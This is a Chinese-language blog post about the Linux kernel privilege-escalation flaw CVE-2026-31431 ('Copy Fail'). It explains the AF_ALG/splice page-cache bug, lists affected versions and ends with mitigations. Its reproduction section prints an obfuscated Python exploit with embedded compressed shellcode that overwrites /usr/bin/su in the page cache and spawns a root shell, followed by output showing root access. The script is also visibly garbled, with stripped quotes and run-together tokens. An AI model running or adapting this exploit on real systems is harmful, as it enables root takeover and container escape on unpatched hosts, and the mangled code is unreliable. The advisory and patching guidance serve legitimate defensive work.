0x01 事件速览一颗潜伏9年的定时炸弹2026年4月29日韩国安全研究团队Theori公开披露了一个堪称史诗级的 Linux 内核本地提权漏洞——CVE-2026-31431代号Copy Fail。该漏洞由研究员Taeyang Lee借助 AI 辅助代码审计工具Xint Code发现并于3月23日报告给 Linux 内核安全团队。这颗炸弹的可怕之处在于潜伏时间长达9年漏洞源于2017年引入的一个原地优化commit72548b093ee3此后所有基于该版本构建的内核均受影响100%确定性利用无需竞争条件、无需硬编码内核偏移、跨发行版通用攻击门槛极低仅需一个本地普通用户账号 732字节的 Python 脚本即可从uid1000秒变uid0容器逃逸利器在共享内核的云环境、K8s集群、CI/CD流水线中一个受控容器即可突破隔离直取宿主机 root。美国网络安全与基础设施安全局CISA已在5月1日将其纳入已知被利用漏洞目录KEV各大发行版补丁正在紧急推送中。免责声明请自行搭建环境进行漏洞测试作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为如用于其他用途由使用者承担全部法律及连带责任与作者无关。TIPS: 更多POC末尾领取资料及加入星球福利0x02漏洞原理当加密API遇上页缓存Copy Fail 并非传统意义上的内存破坏漏洞如堆溢出、UAF而是一个逻辑缺陷。它恰好位于三个内核子系统的交汇点子系统角色AF_ALGLinux 用户态加密 API 套接字接口允许用户程序调用内核加密算法splice()零拷贝系统调用可在文件描述符和管道之间直接搬运数据绕过用户态缓冲区authencesnAEAD认证加密算法模板组合了hmac(sha256)和cbc(aes)2017年内核开发者为提升 AEAD 操作性能引入了一项原地优化当源数据与目标数据位于同一内存区域时避免不必要的内存拷贝。这本是一个性能优化却埋下了一颗逻辑炸弹。在algif_aead模块处理 AEAD 解密时内核会构建两个散列表Scatter-Gather ListTX SGL发送散列表存放待解密的密文DST SGL目标散列表存放解密后的明文。正常情况下DST SGL 应该指向一块独立的内核缓冲区。但2017年的优化允许当检测到原地操作条件时直接将页缓存Page Cache页面链接到 DST SGL 的可写链表中。攻击数据流4字节精准注入sendmsg(AAD) splice(目标文件) │ │ ▼ ▼ ┌──────────┐ sg_chain ┌──────────────────┐ │ RX缓冲区 │──────────────▶│ 页缓存页面 │ │ 8字节 │ │ 如 /usr/bin/su│ └──────────┘ └──────────────────┘ ▲ │ authencesn 在此写入 seqno_lo 偏移 assoclen cryptlen ════ 漏洞触发点 ════具体步骤如下创建加密套接字调用socket(AF_ALG, ...)创建 AEAD 套接字绑定authencesn(hmac(sha256),cbc(aes))算法注入页缓存通过splice()将目标文件如/usr/bin/su的页缓存页面零拷贝到套接字的发送端构造AAD通过sendmsg()MSG_MORE发送关联认证数据AAD其中包含攻击者完全可控的4字节seqno_lo触发越界写内核在处理 AEAD 解密时将seqno_lo写入 DST SGL 的assoclen cryptlen偏移处。由于 DST SGL 已链接到页缓存页面这4字节直接落入了只读文件的页缓存中HMAC校验失败由于数据被篡改HMAC 校验必然失败内核返回EBADMSG错误。但此时页缓存已被污染且磁盘上的文件原封不动影响范围几乎全军覆没受影响的内核版本版本范围状态Linux 4.14 ~ 6.18.21❌ vulnerableLinux 6.19.0 ~ 6.19.11❌ vulnerableLinux 6.18.22 / 6.19.12 / 7.0✅ patched受影响的发行版包括但不限于Ubuntu16.04/18.04/20.04/22.04/24.04 LTS 等Red HatRHEL 8/9/10CentOS StreamFedoraDebianDebian 9/10/11/12SUSESLES 15, openSUSE Leap/TumbleweedArch LinuxAmazon Linux 2/2023Alpine Linux容器基础镜像0x03 漏洞复现执行命令python3 copy_fail_exp.py#!/usr/bin/env python3 import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): as.socket(38,5,0);a.bind((aead,authencesn(hmac(sha256),cbc(aes))));h279;va.setsockopt;v(h,1,d(08000100000000100*64));v(h,5,None,4);u,_a.accept();ot4;id(00);u.sendmsg([bA*4c],[(h,3,i*4),(h,2,b\x10i*19),(h,4,b\x08i*3),],32768);r,wg.pipe();ng.splice;n(f,w,o,offset_src0);n(r,u.fileno(),o) try:u.recv(8t) except:0 fg.open(/usr/bin/su,0);i0;ezlib.decompress(d(78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3)) while ilen(e):c(f,i,e[i:i4]);i4 g.system(su)复现效果[*] CVE-2026-31431 Copy Fail Exploit [*] Universal Linux kernel privilege escalation [*] Target binary: /usr/bin/su [*] Testing for vulnerability... [] System appears vulnerable! [] Opened /usr/bin/su (fd3) [] File size: 56944 bytes [] Shellcode size: 160 bytes [] Patching file in page cache... Written 160/160 bytes... [] Page cache patching complete! # whoami root # id uid0(root) gid0(root) groups0(root)0x04 修复建议方案A卸载 algif_aead 模块推荐⚠️RHEL 9 用户注意algif_aead在 RHEL 9 中为内置模块built-in无法通过rmmod卸载必须等待内核补丁或采用方案B。方案B限制 AF_ALG 套接字通过seccomp、SELinux、AppArmor或容器安全策略禁止不可信工作负载访问 AF_ALG 接口方案C监控异常 splice AF_ALG 组合长期修复升级内核目标版本修复状态Linux 6.18.22✅ 已修复Linux 6.19.12✅ 已修复Linux 7.0✅ 已修复各大发行版补丁状态截至2026年5月2日Ubuntu已发布 USN 公告紧急更新推送中Red HatRHEL 8/9/10 补丁正在测试预计48小时内发布DebianDSA 公告已发布SUSE维护更新已可用Archlinux 包已更新至修复版本